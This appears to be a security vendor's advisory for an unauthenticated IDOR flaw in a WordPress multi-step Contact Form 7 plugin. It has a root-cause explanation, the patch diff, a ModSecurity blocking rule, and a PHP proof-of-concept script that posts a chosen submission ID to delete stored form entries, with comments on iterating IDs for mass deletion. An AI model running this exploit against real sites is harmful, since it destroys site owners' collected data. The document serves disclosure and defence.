Published : November 18, 2026

CVE-2026-115826: Multi Step for Contact Form 7 <= 2.9.1 Insecure Direct Object Reference to Unauthenticated Arbitrary Submission Deletion via '_cf7mls_db_form_data_id' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.4)
CWE 639
Vulnerable Version 2.9.1
Patched Version 2.9.2
Disclosed November 17, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-115826: The Multi Step for Contact Form 7 plugin (versions up to and including 2.9.1) contains an Insecure Direct Object Reference (IDOR) vulnerability in the `_cf7mls_db_form_data_id` parameter. This flaw allows unauthenticated attackers to permanently delete arbitrary stored Contact Form 7 submissions from the database when the companion CF7 Database plugin is active and the per-form “Save every step, not just the final submission” option is enabled. The vulnerability has a CVSS score of 7.4 and is classified as CWE-639.

Root Cause: The vulnerability stems from missing validation on a user-controlled key in the `cf7mls_cf7d_after_insert_db` function in `inc/cf7db.php` and in the frontend validation logic in `inc/frontend/validation.php`. The `_cf7mls_db_form_data_id` value submitted via POST is used directly to delete a corresponding record in the `cf7_data` table without verifying that the record belongs to the current form or user. This allows an attacker to supply any numeric ID, leading to deletion of arbitrary submissions.

Exploitation: An unauthenticated attacker can exploit this by submitting a crafted POST request to a form page that uses the vulnerable plugin and has the “Save every step” option enabled. The request must include the `_cf7mls_db_form_data_id` parameter set to the ID of the target submission. By iterating over possible IDs, the attacker can delete any stored submission. The attack does not require authentication or a nonce.

Patch Analysis: The patch addresses the issue by adding ownership checks. In `cf7mls_cf7d_after_insert_db`, before deleting, it verifies that the `data_id` belongs to the form by querying the `cf7_data_entry` table for a matching `cf7_id` and `data_id`. If not found, the function returns. In `inc/frontend/validation.php`, similar checks are added: before using the submitted `_cf7mls_db_form_data_id`, it verifies that the ID corresponds to an entry for the current form. Additionally, the patch adds a field whitelist to limit saved fields and ensures only allowed fields are processed. These changes prevent unauthorized deletion by ensuring the ID is valid and belongs to the form.

Impact: Successful exploitation allows unauthenticated attackers to delete arbitrary stored form submissions, leading to data loss and potential disruption of business processes. This could affect lead generation, customer inquiries, and other critical data collected via forms.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/cf7-multi-step/cf7-multi-step.php
+++ b/cf7-multi-step/cf7-multi-step.php
@@ -4,7 +4,7 @@
  * Plugin Name: Multi Step for Contact Form 7 (Lite)
  * Plugin URI: https://ninjateam.org/contact-form-7-multi-step/
  * Description: Break your long form into user-friendly steps.
- * Version: 2.9.1
+ * Version: 2.9.2
  * Author: NinjaTeam
  * Author URI: http://ninjateam.org
  * Text Domain: cf7-multi-step
@@ -35,7 +35,7 @@
 	define( 'CF7MLS_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
 }
 if ( ! defined( 'CF7MLS_NTA_VERSION' ) ) {
-	define( 'CF7MLS_NTA_VERSION', '2.9.1' );
+	define( 'CF7MLS_NTA_VERSION', '2.9.2' );
 }

 spl_autoload_register(
@@ -60,6 +60,26 @@

 if ( ! function_exists( 'cf7mls_plugin_init' ) ) {
 	function cf7mls_plugin_init() {
+		if ( ! class_exists( 'WPCF7' ) ) {
+			add_action( 'admin_notices', function() {
+				?>
+				<div class="notice notice-error">
+				<p>
+					<?php
+					printf(
+						/* translators: 1: Contact Form 7, 2: Contact Form 7 Multi Step */
+						esc_html__( 'Please activate %1$s to use %2$s.', 'cf7-multi-step' ),
+						'<strong>Contact Form 7</strong>',
+						'<strong>Contact Form 7 Multi Step</strong>'
+					);
+					?>
+				</p>
+				</div>
+				<?php
+			} );
+			return;
+		}
+
 		// language load text domain
 		require_once plugin_dir_path( __FILE__ ) . 'inc/I18n.php';
 		// CF7DB
--- a/cf7-multi-step/inc/cf7db.php
+++ b/cf7-multi-step/inc/cf7db.php
@@ -9,7 +9,7 @@
 if ( cf7mls_is_active_cf7db() ) {
 	add_filter( 'cf7d_no_save_fields', 'cf7mls_cf7d_no_save_fields' );
 	function cf7mls_cf7d_no_save_fields( $fields ) {
-		// $fields[] = '_cf7mls_db_form_data_id';
+		$fields[] = '_cf7mls_db_form_data_id';
 		$fields[] = '_wpnonce';
 		$fields[] = 'cf7mls_back';
 		$fields[] = 'cf7mls_next';
@@ -23,9 +23,13 @@
 	add_action( 'cf7d_after_insert_db', 'cf7mls_cf7d_after_insert_db', 10, 3 );
 	function cf7mls_cf7d_after_insert_db( $contact_form, $form_id, $data_id ) {
 		global $wpdb;
-		$data_id_be_delete = $wpdb->get_results( 'SELECT `value` FROM ' . $wpdb->prefix . "cf7_data_entry WHERE `cf7_id` = '" . $form_id . "' AND `name` = '_cf7mls_db_form_data_id'" );
+		$data_id_be_delete = $wpdb->get_results( $wpdb->prepare( "SELECT `value` FROM {$wpdb->prefix}cf7_data_entry WHERE `cf7_id` = %d AND `name` = %s", (int) $form_id, '_cf7mls_db_form_data_id' ) );
 		if ( isset( $data_id_be_delete[0] ) ) {
-			$data_id_be_delete = $data_id_be_delete[0]->value;
+			$data_id_be_delete = (int) $data_id_be_delete[0]->value;
+			$owns = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->prefix}cf7_data_entry WHERE `cf7_id` = %d AND `data_id` = %d", (int) $form_id, $data_id_be_delete ) );
+			if ( ! $owns ) {
+				return;
+			}
 			// delele data_id
 			$wpdb->delete( $wpdb->prefix . 'cf7_data', array( 'id' => $data_id_be_delete ) );
 			// delete entry
--- a/cf7-multi-step/inc/frontend/init.php
+++ b/cf7-multi-step/inc/frontend/init.php
@@ -147,6 +147,19 @@
 	return $code;
 }

+add_filter( 'wpcf7_form_class_attr', 'cf7mls_add_multistep_class' );
+/**
+ * Mark forms that use steps, so the frontend CSS leaves all other forms alone.
+ * Added server-side so the styles apply before the frontend script runs.
+ */
+function cf7mls_add_multistep_class( $class ) {
+	$contact_form = wpcf7_get_current_contact_form();
+	if ( $contact_form && $contact_form->scan_form_tags( array( 'type' => array( 'cf7mls_step', 'cf7mls_step*' ) ) ) ) {
+		$class .= ' cf7mls';
+	}
+	return $class;
+}
+
 add_filter( 'wpcf7_form_class_attr', 'cf7mls_add_auto_scroll_class' );
 function cf7mls_add_auto_scroll_class( $class ) {
 	if ( $contact_form = wpcf7_get_current_contact_form() ) {
--- a/cf7-multi-step/inc/frontend/validation.php
+++ b/cf7-multi-step/inc/frontend/validation.php
@@ -103,6 +103,12 @@
 			if ( cf7mls_is_active_cf7db() ) {
 				if ( get_post_meta( $id, '_cf7mls_db_save_every_step', true ) == 'yes' ) {
 					$_cf7mls_db_form_data_id = ( isset( $_POST['_cf7mls_db_form_data_id'] ) ? intval( $_POST['_cf7mls_db_form_data_id'] ) : '' );
+					if ( ! empty( $_cf7mls_db_form_data_id ) ) {
+						$owns = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->prefix}cf7_data_entry WHERE `cf7_id` = %d AND `data_id` = %d AND `name` = %s", (int) $id, (int) $_cf7mls_db_form_data_id, '_cf7mls_db_form_data_id' ) );
+						if ( ! $owns ) {
+							$_cf7mls_db_form_data_id = '';
+						}
+					}
 					if ( empty( $_cf7mls_db_form_data_id ) ) {
 						$wpdb->insert( $wpdb->prefix . 'cf7_data', array( 'created' => date( 'Y-m-d H:i:s' ) ), array( '%s' ) );
 						$_cf7mls_db_form_data_id = $wpdb->insert_id;
@@ -128,7 +134,9 @@
 					$posted_data = $_POST;
 					$posted_data = $this->cf7mls_cf7d_add_more_fields( $posted_data );

+					$allowed_names = array( 'submit_time', 'submit_ip', 'submit_user_id' );
 					foreach ( $tags as $k => $v ) {
+						$allowed_names[] = $v['name'];
 						if ( isset( $posted_data[ $v['name'] ] ) ) {
 							$posted_data[ $v['name'] ] = $this->cf7mls_sanitize_posted_data( $posted_data[ $v['name'] ] );
 						} else {
@@ -138,6 +146,9 @@
 					// install to database
 					$cf7d_no_save_fields = cf7d_no_save_fields();
 					foreach ( $posted_data as $k => $v ) {
+						if ( ! in_array( $k, $allowed_names, true ) ) {
+							continue;
+						}
 						if ( in_array( $k, $cf7d_no_save_fields ) ) {
 							continue;
 						} else {
@@ -218,7 +229,7 @@
 						$contact_form->validate_schema(
 							array(
 								'text'  => true,
-								'file'  => false,
+								'file'  => version_compare( WPCF7_VERSION, '6.2', '>=' ),
 								'field' => array(),
 							),
 							$result
@@ -240,7 +251,7 @@

 					$this->invalid_fields = $result->get_invalid_fields();

-					$upload_files         = $this->unship_uploaded_files( $contact_form );
+					$upload_files         = $this->unship_uploaded_files( $contact_form, $result );
 					$success              = false;
 					$this->invalid_fields = array_merge( $this->invalid_fields, $upload_files['invalid_fields'] );
 					if ( false === $result->is_valid() ) {
@@ -266,6 +277,12 @@
 					if ( cf7mls_is_active_cf7db() ) {
 						if ( get_post_meta( $id, '_cf7mls_db_save_every_step', true ) == 'yes' ) {
 							$_cf7mls_db_form_data_id = ( isset( $_POST['_cf7mls_db_form_data_id'] ) ? intval( $_POST['_cf7mls_db_form_data_id'] ) : '' );
+							if ( ! empty( $_cf7mls_db_form_data_id ) ) {
+								$owns = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->prefix}cf7_data_entry WHERE `cf7_id` = %d AND `data_id` = %d AND `name` = %s", (int) $id, (int) $_cf7mls_db_form_data_id, '_cf7mls_db_form_data_id' ) );
+								if ( ! $owns ) {
+									$_cf7mls_db_form_data_id = '';
+								}
+							}
 							if ( empty( $_cf7mls_db_form_data_id ) ) {
 								$wpdb->insert( $wpdb->prefix . 'cf7_data', array( 'created' => date( 'Y-m-d H:i:s' ) ), array( '%s' ) );
 								$_cf7mls_db_form_data_id = $wpdb->insert_id;
@@ -291,7 +308,9 @@
 							$posted_data = $_POST;
 							$posted_data = $this->cf7mls_cf7d_add_more_fields( $posted_data );

+							$allowed_names = array( 'submit_time', 'submit_ip', 'submit_user_id' );
 							foreach ( $tags as $k => $v ) {
+								$allowed_names[] = $v['name'];
 								if ( isset( $posted_data[ $v['name'] ] ) ) {
 									$posted_data[ $v['name'] ] = $this->cf7mls_sanitize_posted_data( $posted_data[ $v['name'] ] );
 								} else {
@@ -301,6 +320,9 @@
 							// install to database
 							$cf7d_no_save_fields = cf7d_no_save_fields();
 							foreach ( $posted_data as $k => $v ) {
+								if ( ! in_array( $k, $allowed_names, true ) ) {
+									continue;
+								}
 								if ( in_array( $k, $cf7d_no_save_fields ) ) {
 									continue;
 								} else {
@@ -364,7 +386,7 @@
 			}
 			return $posted_data;
 		}
-		private function unship_uploaded_files( $contact_form ) {
+		private function unship_uploaded_files( $contact_form, $schema_result ) {
 			$file_result = new WPCF7_Validation();

 			$file_tags = $contact_form->scan_form_tags(
@@ -374,7 +396,7 @@
 			);

 			foreach ( $file_tags as $tag ) {
-				if ( empty( $_FILES[ $tag->name ] ) ) {
+				if ( empty( $_FILES[ $tag->name ] ) || ! $schema_result->is_valid( $tag->name ) ) {
 					continue;
 				}
 				$file = $_FILES[ $tag->name ];
@@ -393,12 +415,13 @@
 						$args['schema'] = $contact_form->get_schema();
 					}

-					$new_files = wpcf7_unship_uploaded_file( $file, $args );
+					$new_files = array();
+					$unshipped = wpcf7_unship_uploaded_file( $file, $args, $new_files );

-					if ( (float) WPCF7_VERSION >= 5.6 ) {
-						if ( is_wp_error( $new_files ) ) {
-							$file_result->invalidate( $tag, $new_files );
-						}
+					if ( is_wp_error( $unshipped ) && (float) WPCF7_VERSION >= 5.6 ) {
+						$file_result->invalidate( $tag, $unshipped );
+					} elseif ( true !== $unshipped ) {
+						$new_files = $unshipped;
 					}

 					$file_result = apply_filters(

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-115826
SecRule REQUEST_URI "@rx ^/wp-json/contact-form-7/v1/contact-forms/[0-9]+/feedback$" 
  "id:20261158,phase:2,deny,status:403,chain,msg:'CVE-2026-115826 via CF7 feedback endpoint',severity:'CRITICAL',tag:'CVE-2026-115826'"
  SecRule ARGS_POST:_cf7mls_db_form_data_id "@rx ^[0-9]+$" "t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-115826 - Multi Step for Contact Form 7 <= 2.9.1 - Insecure Direct Object Reference to Unauthenticated Arbitrary Submission Deletion via '_cf7mls_db_form_data_id' Parameter

// Configuration
$target_url = 'http://example.com/contact-form-page/'; // URL of the page containing the vulnerable form
$form_id = 123; // ID of the form (not always needed, but may be required in POST data)
$submission_id_to_delete = 1; // ID of the submission to delete (iterate for mass deletion)

// Initialize cURL
$ch = curl_init();

// Prepare POST data. The vulnerable parameter is _cf7mls_db_form_data_id.
// Additional fields may be required to pass other validation, but the key is the _cf7mls_db_form_data_id.
$post_data = array(
    '_cf7mls_db_form_data_id' => $submission_id_to_delete,
    // Include other form fields as needed to mimic a legitimate submission.
    // For example, if the form has a field named 'your-name', include it:
    // 'your-name' => 'Test',
    // 'your-email' => 'test@example.com',
    // 'cf7mls_next' => '1', // might be needed to trigger step processing
);

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'Error: ' . curl_error($ch);
} else {
    echo "Request sent. Response length: " . strlen($response) . "n";
    // Optionally, check for signs of successful deletion (e.g., absence of submission in admin).
}

curl_close($ch);

// Note: This PoC assumes the form uses the vulnerable plugin with CF7 Database active and the "Save every step" option enabled.
// The attacker can iterate over submission_id_to_delete to delete multiple submissions.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.